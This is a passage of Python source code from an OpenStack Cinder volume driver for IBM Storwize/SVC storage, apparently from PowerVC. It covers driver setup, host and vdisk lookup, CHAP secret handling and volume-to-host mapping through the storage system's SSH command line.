SAN\n vdisk = self._find_vdisk_by_name(volume_ref['name'])\n if vdisk is not None:\n self._update_restricted_metadata(volume_ref['id'], vdisk)\n metadata = paxes_db_api.\\\n volume_restricted_metadata_get(ctxt, volume_ref['id'])\n else:\n return None\n\n volume_ref['restricted_metadata'] = metadata\n return metadata[RESTRICTED_METADATA_VDISK_ID_KEY]\n\n def _check_vdisk_exists(self, vdisk_id):\n ssh_cmd = ['svcinfo', 'lsvdisk', vdisk_id]\n\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n return err == \"\"\n\n def _find_vdisk_by_name(self, vdisk_name):\n ssh_cmd = ['svcinfo', 'lsvdisk', '-delim', '!', vdisk_name]\n\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if \"CMMVC5754E\" in err:\n # Can't find the volume\n return None\n\n attributes = {}\n for attrib_line in out.split('\\n'):\n key, foo, value = attrib_line.partition('!')\n if key is not None and len(key.strip()):\n attributes[key] = value\n\n return attributes\n\n def _update_restricted_metadata(self, volume_id, vdisk):\n \"\"\"Perform a database update to associate the specified information\n with the specified volume.\n \"\"\"\n\n required_keys = set(['id', 'name', 'vdisk_UID'])\n has_required_keys = required_keys.issubset(vdisk.keys())\n msg = _(\"Required keys %(required)s not found in vdisk dictionary \"\n \"%(dictionary)r\") \\\n % {'required': ', '.join(required_keys),\n 'dictionary': vdisk}\n\n self._driver_assert(has_required_keys, msg)\n\n metadata = {RESTRICTED_METADATA_VDISK_ID_KEY: vdisk['id'],\n RESTRICTED_METADATA_VDISK_NAME_KEY: vdisk['name'],\n RESTRICTED_METADATA_VDISK_UID_KEY: vdisk['vdisk_UID'],\n RESTRICTED_METADATA_SCSI_INQUIRY_83_KEY: vdisk['vdisk_UID']\n }\n ctxt = context.get_admin_context()\n paxes_db_api.\\\n volume_restricted_metadata_update_or_create(ctxt, volume_id,\n metadata)\n\n def _generate_candidate_names(self, volume):\n \"\"\" Generate candidate names for vdisk creation\"\"\"\n\n if volume.get(\"display_name\"):\n LOG.debug('ENTER: display_name %s' % volume['display_name'])\n\n # First we replace all non supported characters\n # in the display_name with underscores\n # only a-z, A-Z, 0-9, _ - are supported in volume name\n display_name_nospace = re.sub(r'[^a-zA-Z0-9_-]', \"_\",\n volume['display_name'])\n\n # Then we substitute it into the volume_name_template specified\n # in our configuration file\n friendly_name = CONF.volume_name_template % display_name_nospace\n\n # We would like to use this name, but fall back to the generic\n # (UUID-based) name if that doesn't work for some reason.\n LOG.debug('EXIT: friendly_name %s' % friendly_name)\n return [friendly_name, volume['name']]\n else:\n return [volume['name']]\n\n def do_setup(self, ctxt):\n \"\"\"Check that we have all configuration details from the storage.\"\"\"\n\n LOG.debug('enter: do_setup')\n self._context = ctxt\n\n # Get storage system name and id\n ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n msg = (_('do_setup: Could not get system name'))\n LOG.error(msg)\n raise exception.VolumeBackendAPIException(data=msg)\n self._system_name = attributes['name']\n self._system_id = attributes['id']\n\n # Validate that the pool exists\n pool = self.configuration.storwize_svc_volpool_name\n ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!',\n '\"%s\"' % pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n msg = (_('do_setup: Pool %s does not exist') % pool)\n LOG.error(msg)\n raise exception.InvalidInput(reason=msg)\n self._extent_size = attributes['extent_size']\n\n # Check if compression is supported\n self._compression_enabled = False\n \"\"\" no longer used\n try:\n ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n name, foo, value = license_line.partition('!')\n if name in ('license_compression_enclosures',\n 'license_compression_capacity') and value != '0':\n self._compression_enabled = True\n break\n except processutils.ProcessExecutionError:\n LOG.exception(_('Failed to get license information.'))\n \"\"\"\n\n # Get the available I/O groups\n ssh_cmd = ['svcinfo', 'lsiogrp', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n iogrps = out.strip().split('\\n')\n self._assert_ssh_return(len(iogrps), 'do_setup', ssh_cmd, out, err)\n header = iogrps.pop(0)\n for iogrp_line in iogrps:\n try:\n iogrp_data = self._get_hdr_dic(header, iogrp_line, '!')\n if int(iogrp_data['node_count']) > 0:\n self._available_iogrps.append(int(iogrp_data['id']))\n if (self._compression_enabled is False):\n ssh_cmd = ['svcinfo', 'lsiogrp',\n '-delim', '!', iogrp_data['id']]\n out, err = self._run_ssh(ssh_cmd)\n raw = out.strip().split('\\n')\n for attr in raw:\n if attr == \"compression_supported!yes\":\n self._compression_enabled = True\n break\n except exception.VolumeBackendAPIException:\n with excutils.save_and_reraise_exception():\n self._log_cli_output_error('do_setup',\n ssh_cmd, out, err)\n except KeyError:\n self._handle_keyerror('lsnode', header)\n except ValueError:\n msg = (_('Expected integers for node_count and vdisk_count, '\n 'svcinfo lsiogrp returned: %(node)s and %(vdisk)s') %\n {'node': iogrp_data['node_count'],\n 'vdisk': iogrp_data['vdisk_count']})\n LOG.error(msg)\n raise exception.VolumeBackendAPIException(data=msg)\n\n # Get the iSCSI and FC names of the Storwize/SVC nodes\n ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n\n nodes = out.strip().split('\\n')\n self._assert_ssh_return(len(nodes), 'do_setup', ssh_cmd, out, err)\n header = nodes.pop(0)\n for node_line in nodes:\n try:\n node_data = self._get_hdr_dic(header, node_line, '!')\n except exception.VolumeBackendAPIException:\n with excutils.save_and_reraise_exception():\n self._log_cli_output_error('do_setup',\n ssh_cmd, out, err)\n node = {}\n try:\n node['id'] = node_data['id']\n node['name'] = node_data['name']\n node['IO_group'] = node_data['IO_group_id']\n node['iscsi_name'] = node_data['iscsi_name']\n node['WWNN'] = node_data['WWNN']\n node['status'] = node_data['status']\n node['WWPN'] = []\n node['ipv4'] = []\n node['ipv6'] = []\n node['enabled_protocols'] = []\n if node['status'] == 'online':\n self._storage_nodes[node['id']] = node\n except KeyError:\n self._handle_keyerror('lsnode', header)\n\n # Get the iSCSI IP addresses and WWPNs of the Storwize/SVC nodes\n self._get_iscsi_ip_addrs()\n self._get_fc_wwpns()\n\n # For each node, check what connection modes it supports. Delete any\n # nodes that do not support any types (may be partially configured).\n to_delete = []\n for k, node in self._storage_nodes.iteritems():\n if ((len(node['ipv4']) or len(node['ipv6']))\n and len(node['iscsi_name'])):\n node['enabled_protocols'].append('iSCSI')\n self._enabled_protocols.add('iSCSI')\n if len(node['WWPN']):\n node['enabled_protocols'].append('FC')\n self._enabled_protocols.add('FC')\n if not len(node['enabled_protocols']):\n to_delete.append(k)\n\n for delkey in to_delete:\n del self._storage_nodes[delkey]\n\n # Make sure we have at least one node configured\n self._driver_assert(len(self._storage_nodes),\n _('do_setup: No configured nodes'))\n\n # Ensure that the default volume type exists\n vtn = self.configuration.default_volume_type\n vtn = vtn.decode('utf-8') if vtn else vtn\n try:\n volume_types.get_volume_type_by_name(ctxt, vtn)\n except exception.VolumeTypeNotFoundByName:\n # If the default volume type does not exist, we create it here.\n LOG.info(_(\"Creating default volume type '%s'\") % vtn)\n self._create_default_volume_type(ctxt, vtn)\n\n LOG.debug('leave: do_setup')\n\n def get_compression_enabled(self):\n \"\"\"Helper Method to get compression enablement\"\"\"\n return self._compression_enabled\n\n def _create_default_volume_type(self, context, volume_type_name):\n \"\"\"Internal Helper Method to Create a Default Volume Type for Host\"\"\"\n vbn = self.configuration.volume_backend_name\n\n # Obtain our default options\n opts = self._build_default_opts()\n extra_specs = {}\n for key, value in opts.iteritems():\n extra_specs[\"drivers:\" + key] = value\n\n extra_specs['drivers:display_name'] = volume_type_name\n extra_specs['capabilities:volume_backend_name'] = vbn\n\n def voltype_create(name, extra_specs):\n \"\"\" Don't use volume_type.create during init_host\"\"\"\n try:\n type_ref = db_api.volume_type_create(\n context, dict(name=name, extra_specs=extra_specs))\n except db_exc.DBError as e:\n LOG.exception(_('DB error: %s') % e)\n raise exception.VolumeTypeCreateFailed(\n name=name, extra_specs=extra_specs)\n return type_ref\n\n return voltype_create(volume_type_name, extra_specs)\n\n def _build_default_opts(self):\n # Ignore capitalization\n protocol = self.configuration.storwize_svc_connection_protocol\n if protocol.lower() == 'fc':\n protocol = 'FC'\n elif protocol.lower() == 'iscsi':\n protocol = 'iSCSI'\n\n opt = {'rsize': self.configuration.storwize_svc_vol_rsize,\n 'warning': self.configuration.storwize_svc_vol_warning,\n 'autoexpand': self.configuration.storwize_svc_vol_autoexpand,\n 'grainsize': self.configuration.storwize_svc_vol_grainsize,\n 'compression': self.configuration.storwize_svc_vol_compression,\n 'easytier': self.configuration.storwize_svc_vol_easytier,\n 'protocol': protocol,\n 'multipath': self.configuration.storwize_svc_multipath_enabled,\n 'iogrp': self.configuration.storwize_svc_vol_iogrp,\n 'storage_pool': self.configuration.storwize_svc_volpool_name}\n return opt\n\n def check_for_setup_error(self):\n \"\"\"Ensure that the flags are set properly.\"\"\"\n LOG.debug('enter: check_for_setup_error')\n\n # Check that we have the system ID information\n if self._system_name is None:\n exception_msg = (_('Unable to determine system name'))\n raise exception.VolumeBackendAPIException(data=exception_msg)\n if self._system_id is None:\n exception_msg = (_('Unable to determine system id'))\n raise exception.VolumeBackendAPIException(data=exception_msg)\n if self._extent_size is None:\n exception_msg = (_('Unable to determine pool extent size'))\n raise exception.VolumeBackendAPIException(data=exception_msg)\n\n required_flags = ['san_ip', 'san_ssh_port', 'san_login',\n 'storwize_svc_volpool_name']\n for flag in required_flags:\n if not self.configuration.safe_get(flag):\n raise exception.InvalidInput(reason=_('%s is not set') % flag)\n\n # Ensure that either password or keyfile were set\n if not (self.configuration.san_password or\n self.configuration.san_private_key):\n raise exception.InvalidInput(\n reason=_('Password or SSH private key is required for '\n 'authentication: set either san_password or '\n 'san_private_key option'))\n\n # Check that flashcopy_timeout is not more than 10 minutes\n flashcopy_timeout = self.configuration.storwize_svc_flashcopy_timeout\n if not (flashcopy_timeout > 0 and flashcopy_timeout <= 600):\n raise exception.InvalidInput(\n reason=_('Illegal value %d specified for '\n 'storwize_svc_flashcopy_timeout: '\n 'valid values are between 0 and 600')\n % flashcopy_timeout)\n\n opts = self._build_default_opts()\n self._check_vdisk_opts(opts)\n\n LOG.debug('leave: check_for_setup_error')\n\n \"\"\"=====================================================================\"\"\"\n \"\"\" INITIALIZE/TERMINATE CONNECTIONS \"\"\"\n \"\"\"=====================================================================\"\"\"\n\n def ensure_export(self, ctxt, volume):\n \"\"\"Check that the volume exists on the storage.\n\n The system does not \"export\" volumes as a Linux iSCSI target does,\n and therefore we just check that the volume exists on the storage.\n \"\"\"\n vdisk_id = self._incorporate_restricted_metadata(volume)\n if vdisk_id is None:\n LOG.error(_('ensure_export: Volume %(volume_id)s does not '\n 'reference a vdisk')\n % {'volume_id': volume['id']})\n return\n\n volume_defined = self._is_vdisk_defined(vdisk_id)\n if not volume_defined:\n LOG.error(_('ensure_export: Volume %(volume_id)s references '\n 'vdisk %(vdisk)s, which was not found on storage')\n % {'volume_id': volume['id'],\n 'vdisk': vdisk_id})\n\n def create_export(self, ctxt, volume):\n model_update = None\n return model_update\n\n def remove_export(self, ctxt, volume):\n pass\n\n def _add_chapsecret_to_host(self, host_name):\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n\n chap_secret = utils.generate_password()\n ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n ssh_cmd_out = ['svctask', 'chhost', '-chapsecret',\n \"********\", host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n '_add_chapsecret_to_host',\n ssh_cmd_out, out, err)\n return chap_secret\n\n def _get_chap_secret_for_host(self, host_name):\n \"\"\"Return the CHAP secret for the given host.\"\"\"\n\n LOG.debug('enter: _get_chap_secret_for_host: host name %s'\n % host_name)\n\n ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n\n if not len(out.strip()):\n return None\n\n host_lines = out.strip().split('\\n')\n STDOUT = \"***********\"\n self._assert_ssh_return(len(host_lines), '_get_chap_secret_for_host',\n ssh_cmd, STDOUT, err)\n\n header = host_lines.pop(0).split('!')\n self._assert_ssh_return('name' in header, '_get_chap_secret_for_host',\n ssh_cmd, STDOUT, err)\n self._assert_ssh_return('iscsi_auth_method' in header,\n '_get_chap_secret_for_host', ssh_cmd,\n STDOUT, err)\n self._assert_ssh_return('iscsi_chap_secret' in header,\n '_get_chap_secret_for_host', ssh_cmd,\n STDOUT, err)\n name_index = header.index('name')\n method_index = header.index('iscsi_auth_method')\n secret_index = header.index('iscsi_chap_secret')\n\n chap_secret = None\n host_found = False\n for line in host_lines:\n info = line.split('!')\n if info[name_index] == host_name:\n host_found = True\n if info[method_index] == 'chap':\n chap_secret = info[secret_index]\n\n self._assert_ssh_return(host_found, '_get_chap_secret_for_host',\n ssh_cmd, STDOUT, err)\n\n LOG.debug('leave: _get_chap_secret_for_host: host name '\n '%(host_name)s with secret %(chap_secret)s'\n % {'host_name': host_name, 'chap_secret': \"**********\"})\n\n return chap_secret\n\n def _connector_to_hostname_prefix(self, connector):\n \"\"\"Translate connector info to storage system host name.\n\n Translate a host's name and IP to the prefix of its hostname on the\n storage subsystem. We create a host name host name from the host and\n IP address, replacing any invalid characters (at most 55 characters),\n and adding a random 8-character suffix to avoid collisions. The total\n length should be at most 63 characters.\n\n \"\"\"\n\n host_name = connector['host']\n if isinstance(host_name, unicode):\n host_name = host_name.translate(self._unicode_host_name_filter)\n elif isinstance(host_name, str):\n host_name = host_name.translate(self._string_host_name_filter)\n else:\n msg = _('_create_host: Cannot clean host name. Host name '\n 'is not unicode or string')\n LOG.error(msg)\n raise exception.NoValidHost(reason=msg)\n\n host_name = str(host_name)\n\n if not re.match('^[A-Za-z]', host_name):\n host_name = \"_\" + host_name\n\n return host_name[:55]\n\n def _find_host_from_attached_volume(self, connector, vdisk_id):\n \"\"\" Another fastpath to find the existing hostmap that\n hasn't been logged in to SAN. So it will not show by\n lsfabric. But the disk may have been mapped.\n \"\"\"\n ssh_cmd = ['lsvdiskhostmap', '-delim', '!', vdisk_id]\n\n if (not connector or not connector.get('wwpns') or\n not connector.get('initiator')):\n return None\n try:\n out, err = self._run_ssh(ssh_cmd, attempts=2)\n except processutils.ProcessExecutionError as e:\n if 'CMMVC5753E' in e.stderr:\n # CMMVC5753E: The specified object does not exist or is not a\n # suitable candidate.\n return None\n else:\n # something bad happened\n raise\n if not len(out.strip()):\n return None\n if 'wwpns' in connector:\n # The connector wwpns passed in is unicode. Fix it for\n # the set compare.\n conn_wwpns = [x.encode('ascii', 'ignore').upper()\n for x in connector.get('wwpns')]\n\n host_lines = out.strip().split('\\n')\n header = host_lines.pop(0).split('!')\n self._assert_ssh_return('host_id' in header and\n 'host_name' in header,\n '_find_host_from_attached_volume',\n ssh_cmd, out, err)\n host_id_idx = header.index('host_id')\n host_name_idx = header.index('host_name')\n\n hostname = None\n for line in host_lines:\n host_id = line.split('!')[host_id_idx]\n host_name = line.split('!')[host_name_idx]\n ssh_cmd = ['lshost', '-delim', '!', host_id]\n try:\n out, err = self._run_ssh(ssh_cmd, attempts=2)\n except processutils.ProcessExecutionError:\n continue\n if not len(out.strip()):\n continue\n\n if 'wwpns' in connector:\n # find all the WWPNs from the lshost output. Expect all\n # the WWPNs in the lshost output are in upper case.\n wwpns = RE_WWPN.findall(out)\n\n if (set(conn_wwpns) == set(wwpns) or\n set(conn_wwpns).issubset(set(wwpns))):\n hostname = host_name\n break\n else:\n if connector['initiator'] in set(RE_ISCSI_NAME.findall(out)):\n hostname = host_name\n break\n\n return hostname\n\n def _find_host_from_wwpn(self, connector):\n # SVC uses upper-case WWPNs\n for wwpn in [x.upper() for x in connector['wwpns']]:\n ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n\n if not len(out.strip()):\n # This WWPN is not in use\n continue\n\n host_lines = out.strip().split('\\n')\n header = host_lines.pop(0).split('!')\n self._assert_ssh_return('remote_wwpn' in header and\n 'name' in header,\n '_find_host_from_wwpn',\n ssh_cmd, out, err)\n rmt_wwpn_idx = header.index('remote_wwpn')\n name_idx = header.index('name')\n\n wwpns = map(lambda x: x.split('!')[rmt_wwpn_idx], host_lines)\n\n if wwpn in wwpns:\n # All the wwpns will be the mapping for the same\n # host from this WWPN-based query. Just pick\n # the name from first line.\n hostname = host_lines[0].split('!')[name_idx]\n return hostname\n\n # Didn't find a host\n return None\n\n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n # The hosts list may go stale while the list is processed.\n # Handle it accordingly.\n ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n try:\n out, err = self._run_ssh(ssh_cmd)\n except processutils.ProcessExecutionError as e:\n if 'CMMVC5754E' in e.stderr:\n # CMMVC5754E: The specified object does not exist\n # The host has been deleted while walking\n # the list.\n continue\n else:\n # something bad happened.\n raise e\n\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n ssh_cmd, out, err)\n for attr_line in out.split('\\n'):\n # If '!' not found, return the string and two empty strings\n attr_name, foo, attr_val = attr_line.partition('!')\n if (attr_name == 'iscsi_name' and\n 'initiator' in connector and\n attr_val == connector['initiator']):\n return host\n elif (attr_name == 'WWPN' and\n 'wwpns' in connector and\n attr_val.lower() in\n map(str.lower, map(str, connector['wwpns']))):\n return host\n return None\n\n def _get_host_from_connector(self, connector, vdisk_id, is_initconn=True):\n \"\"\"List the hosts defined in the storage.\n\n Return the host name with the given connection info, or None if there\n is no host fitting that information.\n\n \"\"\"\n\n prefix = self._connector_to_hostname_prefix(connector)\n LOG.debug('enter: _get_host_from_connector: prefix %s' % prefix)\n\n # GMN - this block of code fast-paths the common NPIV case where\n # a host definition does not exist, and the WWPNs are not yet logged\n # into the fabric. Without this case, lsfabric can't help us to find\n # a host, so we end up falling back to the slow exhaustive method,\n # of doing lshost per host, which is very slow if you have a lot of\n # hosts (which you do for NPIV environments).\n #\n # What we do here is just jump in and try to create a new host\n # with all the desired WWPNs. It will fail if the host already\n # exists or if some of the port specifiers are already present in\n # another host\n if is_initconn:\n # For initialize_connection, the host may not be defined\n # yet. Try it first.\n try:\n return self._create_host(connector, False)\n except paxes_exception.SVCHostDefsException:\n # Tried to create a host definition, but couldn't because we\n # have reached the limit. Fail as there's nothing we can do\n # here.\n raise paxes_exception.SVCHostDefsException\n except Exception as ex:\n # Anything else and we carry on, looking further for an\n # existing host definition.\n LOG.info(_(\"Continue to fall back processing after initial \"\n \"failure to make a host on the SAN controller: \"\n \"%s\") % ex)\n pass\n\n # ajiang - Another fastpath host lookup. If the _create_host failed\n # we know the wwpns have been defined in some hosts on SVC.\n # try to do fast lookup in two ways:\n # 1. check whether the volume has been mapped to the connector.\n # If so, return the matching host\n # 2. If #1 doesn't find the host, look for lsfabric to see\n # whether the wwpn has been logged in. If so, find the matching\n # host.\n # If neither #1 or #2 finds any matching host, we have to go\n # through the host definition one by one which will be the slow path.\n\n LOG.debug(\"Trying to lookup SVC host from the vdisk ID.\")\n hostname = self._find_host_from_attached_volume(connector, vdisk_id)\n\n if not hostname:\n if 'wwpns' in connector:\n # If we have FC information, we have a faster lookup option\n hostname = self._find_host_from_wwpn(connector)\n\n # If we don't have a hostname yet, try the long way\n if not hostname:\n LOG.debug(\"Trying to lookup up the host the long way...\")\n # Get list of host in the storage\n ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n\n if not len(out.strip()):\n return None\n\n host_lines = out.strip().split('\\n')\n self._assert_ssh_return(len(host_lines),\n '_get_host_from_connector',\n ssh_cmd, out, err)\n header = host_lines.pop(0).split('!')\n self._assert_ssh_return('name' in header,\n '_get_host_from_connector',\n ssh_cmd, out, err)\n name_index = header.index('name')\n hosts = map(lambda x: x.split('!')[name_index], host_lines)\n hostname = self._find_host_exhaustive(connector, hosts)\n\n LOG.debug('leave: _get_host_from_connector: host %s' % hostname)\n\n return hostname\n\n def _create_host(self, connector, check_exit_code=True):\n \"\"\"Create a new host on the storage system.\n\n We create a host name and associate it with the given connection\n information.\n\n \"\"\"\n\n LOG.debug('enter: _create_host: host %s' % connector['host'])\n\n rand_id = str(random.randint(0, 99999999)).zfill(8)\n host_name = '%s-%s' % (self._connector_to_hostname_prefix(connector),\n rand_id)\n\n # Get all port information from the connector\n ports = []\n if 'initiator' in connector:\n ports.append('-iscsiname %s' % connector['initiator'])\n if 'wwpns' in connector:\n for wwpn in connector['wwpns']:\n ports.append('-hbawwpn %s' % wwpn)\n\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n arg_name, arg_val = port1.split()\n ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=check_exit_code)\n if check_exit_code:\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n else:\n # We just want an exception if we didn't create the host\n if 'CMMVC6220E' in err:\n raise paxes_exception.SVCHostDefsException(\n self.endpoint_desc)\n\n if not 'successfully created' in out:\n raise exception.VolumeBackendAPIException(data=err)\n\n # Add any additional ports to the host\n try:\n for port in ports:\n arg_name, arg_val = port.split()\n ssh_cmd = ['svctask', 'addhostport', '-force',\n arg_name, arg_val, host_name]\n out, err = self._run_ssh(ssh_cmd,\n check_exit_code=check_exit_code)\n if err:\n raise exception.VolumeBackendAPIException(data=err)\n except exception.VolumeBackendAPIException:\n with excutils.save_and_reraise_exception():\n ssh_cmd = ['svctask', 'rmhost', host_name]\n self._run_ssh(ssh_cmd, check_exit_code=check_exit_code)\n\n LOG.debug('leave: _create_host: host %(host)s - %(host_name)s' %\n {'host': connector['host'], 'host_name': host_name})\n return host_name\n\n def _get_hostvdisk_mappings(self, host_name):\n \"\"\"Return the defined storage mappings for a host, as vdisk IDs.\"\"\"\n\n return_data = {}\n ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n\n mappings = out.strip().split('\\n')\n if len(mappings):\n header = mappings.pop(0)\n for mapping_line in mappings:\n mapping_data = self._get_hdr_dic(header, mapping_line, '!')\n return_data[mapping_data['vdisk_id']] = mapping_data\n\n return return_data\n\n def _map_vol_to_host(self, vdisk_id, host_name):\n \"\"\"Create a mapping between a volume to a host.\"\"\"\n\n LOG.debug('enter: _map_vol_to_host: vdisk %(vdisk_id)s to '\n 'host %(host_name)s'\n % {'vdisk_id': vdisk_id, 'host_name': host_name})\n\n # Check if this volume is already mapped to this host\n mapping_data = self._get_hostvdisk_mappings(host_name)\n\n mapped_flag = False\n result_lun = '-1'\n if vdisk_id in mapping_data:\n mapped_flag = True\n result_lun = mapping_data[vdisk_id]['SCSI_id']\n else:\n lun_used = [int(v['SCSI_id']) for v in mapping_data.values()]\n lun_used.sort()\n # Assume all luns are taken to this point, and then try to find\n # an unused one\n result_lun = str(len(lun_used))\n for index, n in enumerate(lun_used):\n if n > index:\n result_lun = str(index)\n break\n\n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n '-scsi', result_lun, vdisk_id]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n LOG.error(_('storwize_svc_multihostmap_enabled is set '\n 'to False, Not allow multi host mapping'))\n raise paxes_exception.SVCMultiMapException(\n self.endpoint_desc,\n vdisk_id=vdisk_id,\n host=host_name)\n for i in range(len(ssh_cmd)):\n if ssh_cmd[i] == 'mkvdiskhostmap':\n ssh_cmd.insert(i + 1, '-force')\n\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('vdisk %s mapping to multi host') % vdisk_id)\n self._assert_ssh_return('successfully created' in out,\n '_map_vol_to_host', ssh_cmd, out, err)\n else:\n self._assert_ssh_return('successfully created' in out,\n '_map_vol_to_host', ssh_cmd, out, err)\n LOG.debug('leave: _map_vol_to_host: LUN %(result_lun)s, vdisk '\n '%(vdisk_id)s, host %(host_name)s' %\n {'result_lun': result_lun,\n 'vdisk_id': vdisk_id,\n 'host_name': host_name})\n return result_lun\n\n def _delete_host(self, host_name):\n \"\"\"Delete a host on the storage system.\"\"\"\n\n LOG.debug('enter: _delete_host: host %s ' % host_name)\n\n ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n '_delete_host', ssh_cmd, out, err)\n\n LOG.debug('leave: _delete_host: host %s ' % host_name)\n\n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n return wwpns\n\n for port_data in generator:\n try:\n wwpns.append(port_data['local_wwpn'])\n except KeyError as e:\n self._handle_keyerror('lsfabric', header)\n\n return wwpns\n\n def validate_connector(self, connector):\n \"\"\"Check connector for at least one enabled protocol (iSCSI/FC).\"\"\"\n valid = False\n if 'iSCSI' in self._enabled_protocols and 'initiator' in connector:\n valid = True\n if 'FC' in self._enabled_protocols and 'wwpns' in connector:\n valid = True\n if not valid:\n err_msg = (_('The connector does not contain the required '\n 'information: %(connector)s, protocols %(protos)s')\n % {'connector': connector,\n 'protos': self._enabled_protocols})\n LOG.error(err_msg)\n raise exception.VolumeBackendAPIException(data=err_msg)\n\n def initialize_connection(self, volume, connector):\n \"\"\"Perform the necessary work so that an iSCSI/FC connection can\n be made.\n\n To be able to create an iSCSI/FC connection from a given host to a\n volume, we must:\n 1. Translate the given iSCSI name or WWNN to a host name\n 2. Create new host on the storage system if it does not yet exist\n 3. Map the volume to the host if it is not already done\n 4. Return the connection information for relevant nodes (in the\n proper I/O group)\n\n \"\"\"\n vdisk_id = self._incorporate_restricted_metadata(volume)\n LOG.info(_(\"Enter: initialize_connection: %s\") % volume.get('name'))\n LOG.debug('volume %(vol)s with connector %(conn)s' %\n {'vol': str(volume), 'conn': str(connector)})\n\n vol_opts = self._get_vdisk_params(volume['volume_type_id'])\n # host_name = connector['host']\n\n # Obtain the disk's attributes, raises an exception on a communications\n # error, returns None if the disk doesn't exist.\n volume_attributes = self._get_vdisk_attributes(vdisk_id)\n\n if not volume_attributes:\n raise paxes_exception.SVCVdiskNotFoundException(\n self.endpoint_desc, volume['id'], vdisk_id=vdisk_id)\n\n # Ensure that the UID matches and we don't attach the wrong disk,\n # raise exception if the UID doesn't match.\n self._verify_uid(volume_attributes, volume)\n\n try:\n preferred_node = volume_attributes['preferred_node_id']\n IO_group = volume_attributes['IO_group_id']\n except KeyError as e:\n LOG.error(_('Did not find expected column name in '\n 'lsvdisk: %s') % e)\n exception_msg = (_('initialize_connection: Missing volume '\n 'attribute for vdisk %s') % vdisk_id)\n raise exception.VolumeBackendAPIException(data=exception_msg)\n\n # Check if a host object is defined for this host name\n host_name = self._get_host_from_connector(connector, vdisk_id)\n if host_name is None:\n # Host does not exist - add a new host to Storwize/SVC\n host_name = self._create_host(connector)\n # Verify that create_new_host succeeded\n self._driver_assert(\n host_name is not None,\n _('_create_host failed to return the host name.'))\n\n if vol_opts['protocol'] == 'iSCSI':\n chap_secret = self._get_chap_secret_for_host(host_name)\n if chap_secret is None:\n chap_secret = self._add_chapsecret_to_host(host_name)\n\n lun_id = self._map_vol_to_host(vdisk_id, host_name)\n\n try:\n # Get preferred node and other nodes in I/O group\n preferred_node_entry = None\n io_group_nodes = []\n for k, node in self._storage_nodes.iteritems():\n if vol_opts['protocol'] not in node['enabled_protocols']:\n continue\n if node['id'] == preferred_node:\n preferred_node_entry = node\n if node['IO_group'] == IO_group:\n io_group_nodes.append(node)\n\n if not len(io_group_nodes):\n exception_msg = (_('initialize_connection: No node found in '\n 'I/O group %(gid)s for vdisk %(vdisk_id)s')\n % {'gid': IO_group, 'vdisk_id': vdisk_id})\n LOG.error(exception_msg)\n raise exception.VolumeBackendAPIException(data=exception_msg)\n\n if not preferred_node_entry and not vol_opts['multipath']:\n # Get 1st node in I/O group\n preferred_node_entry = io_group_nodes[0]\n LOG.warn(_('initialize_connection: Did not find a preferred '\n 'node for vdisk %s') % vdisk_id)\n\n properties = {}\n properties['target_discovered'] = False\n properties['target_lun'] = lun_id\n properties['volume_id'] = volume['id']\n if vol_opts['protocol'] == 'iSCSI':\n type_str = 'iscsi'\n if len(preferred_node_entry['ipv4']):\n ipaddr = preferred_node_entry['ipv4'][0]\n else:\n ipaddr = preferred_node_entry['ipv6'][0]\n properties['target_portal'] = '%s:%s' % (ipaddr, '3260')\n properties['target_iqn'] = preferred_node_entry['iscsi_name']\n properties['auth_method'] = 'CHAP'\n properties['auth_username'] = connector['initiator']\n LOG.debug('leave: initialize_connection:\\n volume: %(vol)s\\n '\n 'connector %(conn)s\\n properties: %(prop)s'\n % {'vol': str(volume),\n 'conn': str(connector),\n 'prop': str(properties)})\n properties['auth_password'] = chap_secret\n else:\n type_str = 'fibre_channel'\n conn_wwpns = self._get_conn_fc_wwpns(host_name)\n if len(conn_wwpns) == 0:\n msg 